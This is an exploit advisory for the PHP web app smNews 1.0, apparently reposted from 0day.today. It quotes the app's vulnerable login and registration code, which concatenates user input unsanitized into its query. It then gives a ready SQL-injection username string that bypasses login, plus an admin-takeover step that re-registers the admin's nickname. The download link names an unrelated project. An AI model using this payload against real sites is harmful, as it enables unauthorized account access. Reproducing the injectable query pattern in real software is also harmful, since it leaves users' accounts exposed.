smNews 1.0 Auth Bypass/Column Truncation Vulnerabilities

========================================================
smNews 1.0 Auth Bypass/Column Truncation Vulnerabilities
========================================================


#########################################################################################
[0x01] Informations:
Name           : smNews
Download       : http://downloads.sourceforge.net/simplequizz/simpleQuizz.zip?modtime=1229788692&big_mirror=0
Vulnerability  : Auth Bypass/Column Truncation
Author         : x0r
Notes          : Proud to be Italian //
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/smNews/login.php [...] register.php
[code]
  $results = execute('select',
        array('table' => 'users',
       'where' => array('username =~ ^'.$_POST['username'].'$', 'and', 'password = '.md5($_POST['password'])),
       'limit' => array(0,0)));
[/code]

[code]
  execute('insert',
    array('table' => 'users',
          'values' => array('username' => $_POST['username'],
                            'password' => md5($_POST['password']),
                            'email'    => $_POST['email'])));
[/code]
#########################################################################################
[0x03] Exploit:
Exploit: 1- Username: admin ' or '
            Password: x0r
      2- You have only to re-reg the admin.. ex: (if admin nick is 'lol' you reg an
      account with your passwd, email and nick 'lol' ^^ easy :P
########################################################################################




#  0day.today [2018-03-19]  #